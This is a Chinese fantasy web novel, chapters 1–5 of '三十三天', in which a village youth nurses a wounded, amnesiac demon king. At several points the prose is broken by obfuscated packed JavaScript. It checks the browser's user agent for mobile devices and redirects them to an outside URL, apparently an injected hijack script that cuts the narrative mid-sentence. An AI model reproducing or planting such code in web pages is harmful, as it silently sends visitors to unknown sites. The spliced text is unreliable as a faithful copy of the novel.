《三十三天》 1. 第 1 章 清元三七五年,妖界王都各处比往常都要喧闹。 三十年一次的王都大会在际,是妖族势力更迭的重要时刻,妖王凤休以远超十二妖君的力量稳坐妖王之位已经百年。 众妖君间暗流涌动,他们在各自的地盘发展多年,积蓄力量,而凤休百年来当甩手掌柜,神出鬼没,谁也不知凤休是否还有压制妖界的实力。 对普通妖众来说,凤休一个强大英明的妖王,他们更希望凤休能坐稳位置,维护妖界的稳定。 毕竟,百年前和人族的葬骨川之战,是凤休带领十二妖君奋战,凤休以绝对的力量压制奠定了妖族胜利,从此两界进入妖族统治的时代。 那一场战争,无论是妖族还是人族,但凡是活下来的,无不和小辈诉说其惨烈和浩大。 葬骨川的土壤被血液浸透,残肢白骨堆积在一起,碎裂的机关铁甲陷在土中。葬骨川的天常年灰色,唯有凤休一袭赤甲,手握长枪立于高空之上,手下的亡魂不计其数。 人王轩辕破被穿云枪钉死在地,这场漫长的战争也得以结束。这是妖族口中向往的传说,也是人族被奴役支配的开始。 顶月楼中的露台上两位客人面对面坐着,桌上一壶茶两个白玉杯,兰花插在青瓷瓶中。 “一到王都大会,到处都是葬骨川之战,看久了真觉没意思。”讲话的男子眉目艳丽,整体上给人的第一印象就是五彩缤纷,朱红织金交领袍,衣襟处绣着百蝶穿花纹,腰间束着松花色带,带上吊着白玉带钩,头上还簪着青花,各种色彩在他身上堆砌,但不显累赘。 另一名男子就低调许多,一身黑漆漆的锦衫,唯有一袭白发夺目。他面目端正严肃:“谲凰,王上失踪了。” 谲凰收起懒散的模样,捏紧茶杯:“冥骸,不要说话和扔炸药似的,你倒是说下什么情况。王上不是经常闭关清修吗?可能只是懒得同我们联系。” “王都大会马上到了,以往王上什么时候这么没谱过?”冥骸锁着眉头道,“他若不能来迎接妖君的挑战,王位就要易主,这也是长老们想看到的。若长老们执意过河拆桥,这次王上说什么,我也不会再同他们客气了。” 日暮西沉,昏黄的日光打在冥骸身上,泛出丝丝寒气。 谲凰冷哼一声,“那群老不死的,当初和人族开战时把王上当爷爷哄,这安稳百年生出异心,想把王上当孙子整了。你我打架都不如刹罗,若王上不能及时回来,我们得先扶刹罗上位才行。” “王上一心为了妖界和平,这些年对他们可以说是睁一只眼闭一只眼,真是不识好歹。” “妖界我已经加派人手在搜索,依旧没有王上的踪迹。”冥骸分析道,“我想王上也许在人界,但我走不开。今日找你,便是想请你去人界走一趟。” “人界吗?”谲凰放下茶杯,沉思道,“妖界和人界最大的接壤处是葬骨川,你的地盘,若王上是从那出去,大概会有消息。若你也不确定,那就是从血月州和古丧原走的。血月州是刹罗的地盘,倒也好查,就怕是从古丧原走的,那群乌鸦难搞得很。” 冥骸喝了一口茶,嘴角轻微抽动:“说起来,下次不要约在这种地方见面了,这人族的东西有什么好稀罕的,也不知王上为什么这么推崇人族风俗,装模作样的。” “欸,这你就不懂了,这叫附庸风雅。可惜教化不了偏远的无餍,你知道吗,今年又送了两千人进巨口谷。” “这方面,你好像没什么资格说无餍吧。你的堕天墟也没少要奴隶去。” 冥骸看向远方的天空,希望王上只是在外边清修误了时间,哪日就自己回来了。 碧落村,苍阳山。 青绿的山脉绵延不绝,将碧落村隔绝在城镇之外。瞿无涯幼时总是抱怨山路太漫长,每次上镇赶集都要费老大劲。可越长大,山路似乎越短,他已经成长为想赶集就能赶集的大人。 今日他上山不是为了去镇上,而是在抓野兔开荤。 野兔灵活地跳下一个低矮的坡,瞿无涯趁此时机拉弓射箭,箭羽在空中划过一丝弧线。 空了。 瞿无涯也恼了,今日他非抓住这只兔子不可。 瞿无涯背着弓箭,往陡坡跑去,却被一层结界所挡,无法跳下去。奇怪,刚才那只兔子为何能下去?而且,苍阳山了无人烟的,哪里来的结界? 他伸手轻轻触碰结界,边缘处泛出蓝色的光晕。难道是遥幽设的?这儿确实离遥幽的住所很近。 瞿无涯悻悻然,遥幽不想让自己打扰他,也没必要设置结界吧,这不是欺负人吗?正当瞿无涯熄了想进的心思,他触碰结界的手指却突然融进去。 咦?这是怎么回事?瞿无涯下了坡,在草丛中走着,闻到了一股浓重的血腥味。 会不会是刚才的箭射中了?异想天开的瞿无涯往血腥味深处走去。 杂草丛生的地方躺着一个人,他的衣裳红白相间,嗯,是被鲜血浸透了。瞿无涯吓一大跳,他匆匆过去,蹲下推动那人:“喂,你还好吗?” 显然这人不太好,瞿无涯摸着他的脉搏,体温已经冰凉——等等,这是妖的脉象。失血过多,伤得挺严重。 瞿无涯没再多想,试图抱起这人,还挺沉的,他动用了灵力才勉强能撑住。 到了遥幽的住所,篱笆圈起一个院落,可见里边的大树和竹楼,瞿无涯用脚踢门,喊道:“遥幽,你在不在?遥幽!” “来了来了,你烦不烦。”里面传来少年的声音,门被打开,遥幽有一张清秀温润的脸,但语气和神情都十分不客气。他一只手还拿着铲子,似乎刚才在给他的花松土。 瞿无涯顾不得这些:“他快不行了,你给他看看吧。” “找我干嘛?”遥幽嘴上嫌弃,手已经搭上脉,“去找大夫啊——他是妖?” 这也是瞿无涯来找遥幽的原因,遥幽是人和妖的后代,受到村民们的歧视,一直居住在后山之中,也只有瞿无涯觉得遥幽是好人,喜欢来找他玩。 妖族和人族矛盾一向很深,人族歧视妖族野蛮不开化,妖族则靠着绝对实力把人族当作弱小虚伪的奴隶。所以这妖最好还是不要让村民知道,大夫也不一定愿意医治。 虽说妖族压制人族百年,但天高皇帝远,碧落村这个深山老林,死个妖也没人能知道更别说追究责任。换做是沧溟那样的大城,就断断不能轻视妖怪。 “应该没什么关系。”遥幽神情严肃,“妖和人不同,妖的恢复能力很强,他昏迷不醒只是在自我修复。你要是实在担心,就抓点止血补血的草药给他。” “你看。”遥幽撩开妖的袖子,“小的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126446|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口已经在慢慢结痂了。” 瞿无涯不敢置信,盯着伤口处感慨道:“妖这么神奇的,我真以为他要死了。” 遥幽想起村民们捡到自己时,还不知道他是半人半妖,直到他的伤口自动恢复,村民们大喊着“妖怪啊”,然后围上来拿烧火棍打他。 如果当初捡到他的是瞿无涯,瞿无涯大概只会看着他的伤口,称赞“神奇啊”。不过也不可能,毕竟那会瞿无涯还是个只喜欢上树偷鸟蛋的小屁孩。 “好了,你可以走了。” 遥幽要把门关上,瞿无涯抵住,冲他笑:“你先借我一点草药嘛,我那没有止血草了,我改天还你,好不好?” “你能不能不要......”遥幽瞪着他,说话和撒娇一样。 “不要什么?” 遥幽:“不要这么厚脸皮。” 这听得瞿无涯委屈了:“我哪里厚脸皮,我是跟你借,又不是直接拿你的。你不想借就算了嘛。” “等着。我去拿。” 遥幽走入屋中,拿出一包药,叠在妖的身上:“你也小心一点。这妖的妖气隐蔽得很好,哪怕重伤成这样,我也没闻到漏出的妖气,他的身份肯定不简单。” “我知道的。”瞿无涯乐呵呵笑,“我帮了他,妖不是最讲恩情吗?他肯定不会伤害我的。” 遥幽又从院中推出一辆小推车,瞿无涯把妖放在上边,道:“谢谢。” “明日记得还我。” 瞿无涯推着车往山下走去,山路颠簸,男子似乎在昏迷中也不太舒服,皱起眉头。 秋日萧索,等到山下,男子的身上堆积好些落叶,倒像是天然的铺盖。 迎面走来的是村长的儿子李奇胜,他背着柴火,见到瞿无涯可没有好脸色,刺道:“你又去找那个人妖了?身上一股味。” 瞿无涯也没好气:“说话客气点,让开,别挡我路。” “早说了妖都是群野蛮的畜生,你天天和妖厮混,担心哪日惹祸上身害了村子。” “遥幽心思可比你良善多了。”瞿无涯本想再说点什么,见到远处村长也背着柴火走过来,收了话,“总之,你少管我的事。” 李奇胜也注意到父亲跟了上来,心道,我管不了,难不成我父亲也管不了? 村长注意力被推车上的人吸引:“无涯,这位是?” “李伯,这是我在山上捡到的人,应该是打猎受伤了,现在还没醒呢。”瞿无涯道,“我带他回去照顾几日。” 村长叮嘱他:“来历不明的人还是小心一点,等下来家里吃饭吗?” “不用不用,我出门前灶上蒸着馒头呢。” “这么大人了,要会照顾自己,怎么能就吃个馒头。”村长担忧又责怪,“你也到了成亲的年纪,自己怠懒下厨,就娶个媳妇,早日成家,也好让你父母的在天之灵安心。” 李奇胜听了这话,道:“爹,儿子也到了成亲的年纪,您怎么就不帮儿子上门提亲呢?” 村长刮他一眼,笑道:“哼,我倒是想给你小子讨个媳妇,但你也不看看人家陶家姑娘中意你不,你就想上门提亲。” 瞿无涯嘴上应着,心中却不以为然,成家这件事太遥远。再说,他若要娶妻,必然是娶心爱之人,爱之重之,又怎会是娶回来下厨的。 2. 第 2 章 照顾病人是一项大工程,瞿无涯先把人衣裳扒光,把没受伤的地方擦干净,再给伤口上药。这妖一看就是经常打架,身上还有不少旧伤疤,肌肉紧实。他没忍住捏了一下妖的手臂。 最后给妖擦脸时,瞿无涯才注意到,这妖长得挺好看,鼻梁高挺,眉峰似剑,下颌划出硬朗的笔锋,俊美又冷淡。 做完这些事,瞿无涯也累出一身汗,他沐浴更衣,把妖往里推一些——就一张床,没有主人还要打地铺的道理,总归床还算大。 翌日,瞿无涯醒来时妖还在沉睡,他打着哈欠洗漱,顶着晨露练了一套剑法,把推车还给遥幽,还蹭了一顿白粥当早膳。 而后他去采了些止血草还给遥幽,等回到家里已经是晌午。也不怪他爱啃馒头,实在是一个人不好开火,一不小心就做多了。 门外传来女子的声音。 “无涯,在家吗?” 瞿无涯听出是陶梅声音,应声道:“在呢。” 他打开门,“阿梅,有什么事吗?” 陶梅提着棕木盒子,“家里饭做多了,给你送点。” “那替我多谢陶婶,快进来吧。”瞿无涯接过盒子,“你吃过了吗?” “吃过啦。”陶梅好奇地往他房中看去,“听李伯说你救了一个人,大家都在说呢。哇,长得挺俊,他怎么样了?要请陈爷爷来瞧吗?” 陈爷爷是村中老者,也是大夫,村民们有什么病痛都上他那去瞧。陈爷年轻时在外闯南走北的,见多识广,大伙都很信服他。瞿无涯小时候常和同龄孩子们一起在陈爷爷那听各种故事。 对妖来说睡上几天是小伤,但对人来说昏迷不醒可是很严重的。瞿无涯掩饰道:“大概是体力不支睡得久,可能等下就醒了。” “昨天李奇胜那家伙又找你麻烦了?”陶梅关上门,和瞿无涯在院中的桌旁坐下,“看我等下不揪烂他耳朵。” 瞿无涯揭开盒子,青椒炒肉和荷包蛋盖在白嫩饱满的米饭上,色泽光艳欲滴,“好香啊。你要去说李奇胜,他更要生气了,下次得逮着全村人公告我和人妖有来往。” “那我就是不喜欢他针对你。”陶梅“哼”一声,不满地道,“就算没有你,我也不会嫁他的,不知道他老把你当情敌做什么。” 之前瞿无涯和李奇胜的关系融洽,但自从陶梅对瞿无涯告白心意后,李奇胜就开始处处针对瞿无涯。 瞿无涯当场就拒绝了陶梅,说一直把她当朋友,没有其他心思,两人说开后还是像以往一样相处。 陶梅喜欢瞿无涯,很大程度上是瞿无涯长得俊,同样都是在村里长大的,瞿无涯偏生就比其他人白净一些,像是怎么也晒不黑。 和屋里躺着的男人不同,瞿无涯的相貌美得很薄,不似那人浓眉深眼窝的馥郁,因而瞿无涯面无表情时有几分薄情相,好在瞿无涯总是笑口常开,甚少同人红脸,也很善解人意。 而李奇胜脑子一根筋还脾气爆,老是纠缠自己,还怪自己为什么不喜欢他。陶梅怎么拒绝,李奇胜都不气馁,还以为是她思慕瞿无涯才不接受自己。 “阿梅喜欢小白脸,我知道的。”瞿无涯打趣她,“李奇胜得把全身漂白一遍才行呢。” 陶梅打他的胳膊,“说什么呢。我看以后就让李奇胜天天盯着你,看你还怎么去找那个半妖。” 瞿无涯举起双手告饶,“错了错了,女侠饶命。” “快吃吧,别贫嘴,饭都凉了。”陶梅坐回去,手拖着腮。 过一会,她道:“不过,你和半妖来往真没关系吗?我听陈爷爷说,妖都是冲动野蛮的,可能一言不合就会攻击你。” “遥幽说,妖只是不会表达感情,又容易感情用事。”瞿无涯知晓陶梅只是疑惑,并非恶意,“算是风俗差异吧,不是说不通人性。不然,你接触一下就知道了?” 陶梅摇头,“我才不要,我可没你那么大度,那群妖怪欺压人族,我对他们可不会有什么好脸色。” “可是,遥幽又没有伤害人。”瞿无涯放下碗筷,拿手帕擦擦嘴,“你讨厌妖,是讨厌妖的概念,假如一只妖就要死在你面前,他痛苦地嘶吼、眼神里充满对死亡的恐惧。你想象一下,如果可以救他,你能见死不救吗?” 这话让陶梅锁起眉头,等瞿无涯洗完碗筷回来,她还在想象、思考。 瞿无涯把棕木盒收好,笑道:“行了,别想了,看你这纠结的样子。阿梅这么心软的人,怎么可能让生命消逝在眼前。” “我怎么感觉,都是一起长大的,你比我们都要聪明。” 陶梅的声音听上去有些懊恼。 瞿无涯一笑,没接这话。吃百家饭长大的孩子,心思要比寻常孩子要细腻,学会的第一课就是察言观色,还有就是忍受异样的目光。 某种意义上来说,他和遥幽是同类,只不过他趋近于人,而遥幽趋近于妖。 “你还在练剑。”陶梅看见门旁的长剑,“你打算走吗?” 瞿无涯随她的目光看过去,剑鞘雕着山水,剑柄上刻着菱形防滑纹,实在是平平无奇的一把剑。 “随便练练而已,真要出去,哪有那么多盘缠。” 等陶梅走后,瞿无涯开始今日的做工——编织篓子。他虽有田地,但只拿来种一些瓜果,并不上心。他主要是以编织手工物品、修理工具赚点零散的钱,偶尔也会帮村民上镇跑腿。 大部分村民都嫌外出繁琐,不似瞿无涯愿意赶几个时辰的路上镇。他宁愿做着这些繁琐的小事,也不愿意下定决心种地,如果真有那么一天,大概他的人生也一眼望到头了。 妖一睡就是好几天,村民也渐渐感到不对劲,问他捡回来的是人还没醒吗,要不要送去镇上看病。瞿无涯只能打哈哈说,应该是伤得比较重。 在一日午后,瞿无涯采完草药回来,听见院内有声音,他心中有不好的预感,急急把背篓放在门口,推门而入。村中没有锁门的习俗,大家时常都是你来我家我来你家的串门,若是送点东西,没人应门,那直接入门放进去也是常有的事。 李奇胜在房门口,鬼鬼祟祟的,像是想进去。 瞿无涯呵斥一声:“李奇胜,你干嘛呢?” 李奇胜直觉告诉他,床上的男子是妖,但他怎么也察觉不到妖气,他本想趁瞿无涯不在偷偷确认。 “我爹让我来给你送菜。” 院中桌子上有几颗新鲜的小白菜。 自此他们关系闹僵之后,李奇胜都不上他家门了,瞿无涯才不信他的鬼话,“送到了那就走吧,帮我和李伯说声谢谢。” 李奇胜不甘心地走了。 瞿无涯松口气,赶紧进房中查看妖的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我在叫你名字。”阿休悠悠道,“照你所说,你救了我,我应该报恩。你有什么愿望吗?” 愿望?瞿无涯眼睛一亮,“我想要钱,你可以变出来吗?” 阿休:“......” “你似乎不太了解术法。虽然我不记得,但我的直觉告诉我,这个愿望不可能实现。如果你想要的是把石头伪装成金条的模样,我可以帮你。” 可是话本上都是这么写的,瞿无涯失落地瘪嘴,“不行,那不是骗人吗?那算了吧,你先好好养伤,这些事以后再说吧。” “对了,你千万别在村里暴露你是妖,会吓到村民的。” 阿休饶有兴致地看着他,“你不怕吗?” 瞿无涯:“我胆子比较大。” 真的不怕吗?其实还是有点怕的。 这时的瞿无涯,尚且稚嫩天真,对未知的、睡在自己身旁的妖怪充满着好奇的害怕。会不会因为自己睡觉不老实,惹怒身旁的妖怪,他就杀了自己? 失忆还把陌生人家当自己家一样睡的妖怪,绝对不一般呐,他敢说,遥幽就没有这种心理素质。 3. 第 3 章 瞿无涯睡得不安稳,晚起了,醒来时身旁已经没有人。他的睡眠不算浅,阿休起床的动作太轻了。 他迷迷糊糊地起床,推开门,看见一旁柴房的门开着。 阿休在检查自己的物品,找到一枚青玉扳指,内圈刻着“休”字。衣裳上别着和田玉佩,流转着青白相间的氤氲雾色,中间一点朱砂红沁,质地冰凉,似昆仑山终年不化的积雪。 他举起玉佩,透过日光,看见玉佩中隐约有龙的图案,那点红正是龙的眼睛。 瞿无涯探头,“你的衣裳太白了,沾的血太多,洗不干净,我就干脆没洗。你有想起什么吗?” 阿休沉吟一会,道:“我大概挺有钱的。” 他把扳指递给瞿无涯,“你不是想要钱吗?我看这个挺值钱的,你可以拿去典当。” 瞿无涯摆摆手,“不行不行,你随身带的东西,万一对你有重要意义呢?” 阿休收回扳指,“那好吧。东西我都看过了,没什么有用的。” 李奶奶的儿子这两天上镇办事,孙子又年幼,瞿无涯得帮李奶奶砍柴火。阿休迫切地想了解现有状况,对事物充满探知欲,他跟着瞿无涯上山,在一旁捡一些零碎的柴火。 “你的伤好全了吗?”瞿无涯把柴火累在一起,用袖口擦额头的汗。 阿休左右活动脑袋,又低头巡视自己的身体,“大概是好了。” 瞿无涯撩开他的衣袖,像以往一样检查伤口,手臂上的疤痕都变得细微,“妖的身体还真是强悍。”他撩完才反应过来,现在的阿休是清醒着,而不是躺在床上任他摆弄的病者。 阿休的衣袖迅速被面前的少年拉回原处,瞿无涯一双多情的桃花眼,此刻正掩饰般地笑成月牙。 他并不介意这种亲密行为,也许是因为他醒来第一眼看见的就是瞿无涯。失去记忆后的清醒,是非常茫然的,他不会露出惊慌的表情,他需要判断目前的处境、判断周围的安危,收集足够多的、真实的信息。 直到他看见瞿无涯用火折子点燃蜡烛,黑暗中骤起的光亮,摇摇晃晃的烛火,清晰的面容。瞿无涯如临大敌般盯着火折子,嘴唇抿紧,显得冷淡疏离,很快,桃花眼弯弯,抿直的嘴唇也勾起,一张一合,冬雪化春。若他没有失忆,应该能用更丰富的场景来形容这一幕。 他安心了,这个人是安全的,心情奇迹般得平复。 “你的眼睛,能不能变成黑色的?”瞿无涯正要想转移话题,被赤红眼看得不自在,才想起瞳色问题,“幸好刚刚出门没碰见人,我忘记提醒你了。” 阿休无奈地道:“我忘了。” 那得去问遥幽,他懂的术法多。瞿无涯只从遥幽那看过几本功法,但人和妖的经脉不是一个体系,他也只能看看。 遥幽说过他修炼天赋尚可,平时可以多增强灵力,不管什么术法秘籍,灵力才是基础。若以后有机缘得到人族功法,也不至于灵力不足,望洋兴叹。 两人背着柴火到遥幽家门口,瞿无涯还没来得及敲门,门就被打开。遥幽背着篓子,看着是要出门,他微微瞪大双眼,看着阿休。 “遥幽!”瞿无涯注意到遥幽的目光,“这是阿休,就是我前几天捡的那个妖。阿休,这是我的好朋友,遥幽。” 阿休微笑颔首,遥幽也冲他颔首示意。 “我是想问你,有没有什么让瞳孔变色的术法。阿休的眼睛在村里里不方便走动。” 遥幽的瞳色是继承了人族的黑色,不过,妖的瞳色也不一定是非黑色。有人说瞳色非黑色的妖实力更强,但这种说法并没有依据,在人族中算是一种迷信的判断方式。 无论怎样,红色的瞳孔肯定会吓坏村民们。 遥幽指指屋内,“书柜第二个架子上从下往上数第五本,《妖法大全》,第三十五页有。我出门了,你走的时候关好门。” “好的,谢谢啦。” 瞿无涯和阿休把柴火放在门口,走进屋内,里面陈设很整齐,书架旁是书桌,上面笔墨纸砚俱全,旁边还挂着一副画,画上是一个女人在梨花树下的身影。遥幽说,这是他父亲所画,画上的女子是他的母亲。 瞿无涯按照遥幽所说,拿出那本《妖法大全》,递给阿休。 阿休翻到三十五页,看了一会心法,挑起左眉,合上书,“我知道了。” 他伸出手,掌心抚在瞿无涯眼上。 瞿无涯被吓到,不自觉闭上眼睛,“你干嘛呀。” “睁开。”阿休沉声,语气带着不容置疑的命令,“我需要你的瞳色作为样本。” 瞿无涯睁开眼,视线受限让瞿无涯感到时间尤为漫长,其他感官也更为敏锐,他听到窗外树叶沙沙作响,阿休沉稳的呼吸声,还闻到一丝药草香,不知是遥幽房内的还是阿休身上的。 阿休的手掌心被睫毛刷得发痒,他缓缓移开手,手心发出幽幽蓝光,瞿无涯也得以重见光明。阿休把手心按在自己眼上,过了一会拿下来,他的瞳色已经变为黑色。 “你刚刚,可以好好跟我说。”瞿无涯指出阿休的不当,“不要突然伸手吓我一跳,还凶我。” 阿休回忆了一下,那叫凶吗?只不过是说正事,语气比较严肃而已,“大概,我以前没有和人商量的习惯。” “那你也是一个人啊。”瞿无涯注意力被转移,“怪不得你受伤这么久,也没见过有人来附近寻你。” 阿休的手上还拿着书,他举起来,“我可以向你朋友借这本书看吗?” “可以的。”瞿无涯走到书桌旁,“我给他写给字条,告诉他一声。” 接下来几日,阿休寸步不离地跟着瞿无涯,瞿无涯菜草药他就帮忙整理,瞿无涯做手工他就在一旁看书,瞿无涯帮村民修理工具他就静静地看着。 遥幽对人没有亲切感,对妖也没有归属感,在瞿无涯上门还书时他一句也没问过阿休。 “诶诶,别采那个,那个蘑菇有毒。”瞿无涯看见阿休伸手去采一个色泽艳丽的伞状蘑菇,“越漂亮的蘑菇越毒。” 阿休松开手,“这就是你说的免费的晚餐?” “对。”瞿无涯喜气洋洋,挑拣着可食用的蘑菇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瞿无涯心中长叹一口气,无端生出烦闷,若自己离开村子,去一个没人认识自己的地方,就不用为这些鸡毛蒜皮的小事烦恼。 “张婆,我有病。” 张婆还是笑,拍着瞿无涯的肩,“年轻小伙的能有什么病......” 而后张婆神色一顿,犹疑道:“你是说?” 瞿无涯尽量面色沉重地点头,“张婆,我知道您是为我好,我也不想推辞您的好意也相信您的口风,这才告诉您,您可千万不要说出去。” 张婆正要说些安慰的话,旁边响起一道低沉的男声。 “无涯,该做晚膳了。” 张婆看过去,才发觉那处竟然有一男子抱剑站着,神色冷冽,他摸着剑鞘,简单的动作却充满着肃杀之气。 阿休静静地看着她,张婆心中一颤,才想起瞿无涯家里捡了个人,听说是厉害的杀手——这个传言,瞿无涯发誓和他没有任何关系,纯粹是阿休的气场太唬人,村民们给他编织了一个背景。 4. 第 4 章 “这位夫人,无涯已经说过他不愿意了,还要强人所难吗。” 阿休用陈述句的语气说出疑问句。 “是是是,公子说的对。既然小瞿你有事忙,那张婆我也不打扰了,我先走了。” 张婆干笑两声,避开阿休的视线,快步走出门外。 “好咧,您慢走。” 瞿无涯见张婆走远,没有先去厨房,反而是背着双手和螃蟹似的移动到阿休身旁,用肩膀怼了一下阿休,语气埋怨,“你吓她做什么?” 阿休神色如常,“你烦她,我帮你,你怨我?” 瞿无涯一时语塞,小声道:“人家好歹是长辈,说话再唠叨,忍一忍就过去了,她也是为我好。” 阿休疑惑道:“是你的长辈,又不是我的长辈,我为何要尊敬她?” 和妖说不通,果然妖都是不通人性的生物,瞿无涯瞪他一眼,踩了阿休一脚,径直去厨房。 阿休莫名其妙,拉住瞿无涯,“你因为她生我的气?” 瞿无涯回头,一双桃花眼瞪得圆圆的。算不上生气,只是有点不高兴,他想挣脱阿休的手,但妖的力气可不是他能抗衡的,这让他生出恼羞之感。 “我生什么气,你说的对,我们之间又没有关系,我的长辈当然不是你的长辈。你伤好了就赶紧走吧,找你的亲朋好友去——” 和瞿无涯相处的这几天,阿休也算摸透瞿无涯的性情。瞿无涯脾性很好,几乎没什么能让他生气的事,就算村里的小孩玩石头时扔到他,他也乐呵呵地揭过,嘱咐他们下次小心一点。 阿休捏着瞿无涯的手腕,能感受到他脉搏愈发剧烈——这么脆弱的手腕,一折就会断吧。他把正在说话的瞿无涯往回拉,瞿无涯踉跄几步到他眼前。 瞿无涯用另一只手扒拉他紧紧握着的手,“你干嘛啊,你放开我。” 阿休的眼瞳变成了红色,“你要赶我走?” 其实张婆那件事,瞿无涯真没多计较,毕竟阿休用词也不算冒犯,只是冷脸吓人。但他现在是真生气了,他都说了让阿休放开,阿休却像没听到一般,他不喜欢这种不被尊重的感觉。 “什么叫我赶你走,你伤已经好了,总不能一直在这吧?” 这话也没错,阿休也认为自己不可能一直待在这,不过他还没有想走。 他空出的手往外一伸,院中角落的绳子飞到他手中。 瞿无涯看呆了,正想着自己能不能学这个术法。阿休松开他的手,他用手揉着手腕,那绳子仿若有自己的意识,把他的双手束缚起来,打了一个漂亮的蝴蝶结。 他挣扎几下,绳子却越发收紧,“喂!你想干嘛?” 阿休抱着手臂,语气平静,“我想,我脾气不太好。” 瞿无涯震惊了,他才应该生气吧。 “你绑着我干嘛,我还要做饭呢。” 阿休仔细想了一下,慢悠悠道:“可能是想让你认错吧。” “你不放开我,我要喊人了。”瞿无涯怒火中烧。 “哦?真的吗?”阿休漫不经心,“那你让他们过来吧,到时候都知道我是妖了。” 瞿无涯:“......” 完全就是农夫与蛇啊!但是打不过。 什么认错?完全就是霸权主义,瞿无涯是不会屈服的。也许赶人走是不太对,但阿休这样一言不合就动手,就很对吗? 人进食是为了维持生理活动,但妖进食的频率可以比人类低很多,简单来说,就是妖更能挨饿。 瞿无涯的肚子发出声音,本来今日就上了山,体力消耗多。 “喂,我饿了。” 阿休在石头上打坐,闻言睁开眼睛,“饿着吧。” 但见瞿无涯气鼓鼓地转头,喃喃道:“陈爷爷果然说的没错,妖就是蛮不讲理。” 这个人族还挺可爱的,阿休笑了,起身往厨房走去。瞿无涯跟在他后面,找了一个板凳坐着。 阿休回忆了一下瞿无涯是怎么下面的,有样学样,给瞿无涯煮了一碗面。 面是好了,要怎么吃呢?瞿无涯和桌上的面大眼瞪小眼,“你给我松开,我要吃面。” 阿休不紧不慢地用筷子卷了一圈面,递到瞿无涯嘴边。 瞿无涯要被气疯了,这羞辱谁呢?搞得他和三岁小孩一样,他偏开头。 阿休:“你不是饿吗?” 瞿无涯认为自己的尊严被打击了,“你有病吗?我不饿了。” “你才有病吧。”阿休也不恼,含笑道,“听话,吃面。” 阿休还会像孩童一样斗嘴吗?瞿无涯正疑惑,想起方才他和张婆说的话,不禁红了脸,“我那是权宜之计,省得拂张婆面子。” 阿休把筷子往旁边递一点,“还赶我走吗?” 闻着面的香味,瞿无涯差点抵抗不住,宁为玉碎,他倔强地再偏点头,“我最讨厌别人威胁我了。” “好吧。”阿休放下碗筷,“那你自己吃吧。” 瞿无涯在盯着面发呆,要是想吃,自己的手是绑在身前,倒是也能吃,就是模样狼狈。阿休回到石头上打坐,他时不时偷看几眼。真是引狼入室,明明是自己家,阿休倒是像主人一样,而他却被绑起来。 阿休周身环绕着幽幽红光,风声骤起,外头的树叶沙沙作响。 这是怎么了?瞿无涯顾不得面前那碗面,走到阿休面前观察,阿休似乎毫无察觉,皱眉闭着眼睛,似乎在忍耐着什么。 瞿无涯一惊,唤道:“阿休,阿休!” 阿休没有反应,瞿无涯想给他把脉,他艰难地撩开阿休的衣袖,阿休的手臂青筋凸起,他更急了,连忙按上脉象。经脉紊乱,似乎有一股东西在体内游走。 这时,阿休睁开眼,夜色让他的赤瞳更显可怖。 瞿无涯心喜,以为阿休醒过来了,“你吓死我了,你怎么了,伤没好全吗?” 阿休目光涣散,无机质地扫过他,他胆颤心惊,正想后退一步,却被阿休拽住手。阿休的手掌滚烫,烧得他几乎要出汗。 “阿休?”瞿无涯试探地问,“你还认得我吗?我是瞿无涯。” 看上去,阿休像是失去意识了。 “热。”阿休吐出一个单字。 热?这入秋已久,哪来的热?瞿无涯以为是妖的身体和人不同,“你热吗?那你松开我,我去井边给你打点凉水。” 面前的人嘴不停地张合,阿休听不懂他在说什么,他只感到浑身如同被火烤一般,而这人的手搭上自己脉搏时,是冰凉的,很舒服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这不完蛋了吗?瞿无涯想移开自己的手,但因在结契,两人的手被紧紧固定在一起。 “这怎么回事?阿休,别乱来啊!” 狂风大作,婚契的红光几乎照亮了院子。 天空传来异动,瞿无涯抬眼,一只长枪穿云而来,钉在两人身边。 婚契卷起,黯淡下来、消失,风也停止。 还来不及想这长枪是怎么回事,瞿无涯被阿休吻上嘴唇,他含糊地想说话,阿休身上的热气透过衣物侵入他的感官,这根本不是正常的温度。 瞿无涯见过高烧的病人,这温度比高烧还要热,这让他开始担忧阿休的身体。阿休的手不老实地在他身上乱动,他想起刚刚阿休说“热”,难道是他的体温对阿休来说算冷气? 可是两个人在院子里卿卿我我不成体统,万一有人进来了怎么办?刚刚动静那么大,也不知道村民会不会发现是他院子里闹出来的。 瞿无涯不会换气,快要被憋死,阿休终于肯放过他的嘴唇。他敢保证自己的嘴唇已经红肿,亲就算了,还咬,果真是妖性难改。 5. 第 5 章 瞿无涯抱着阿休缓慢挪动,终于回到房间,他放松下来。不过是啃几下,算了算了,阿休生病了,让让他。 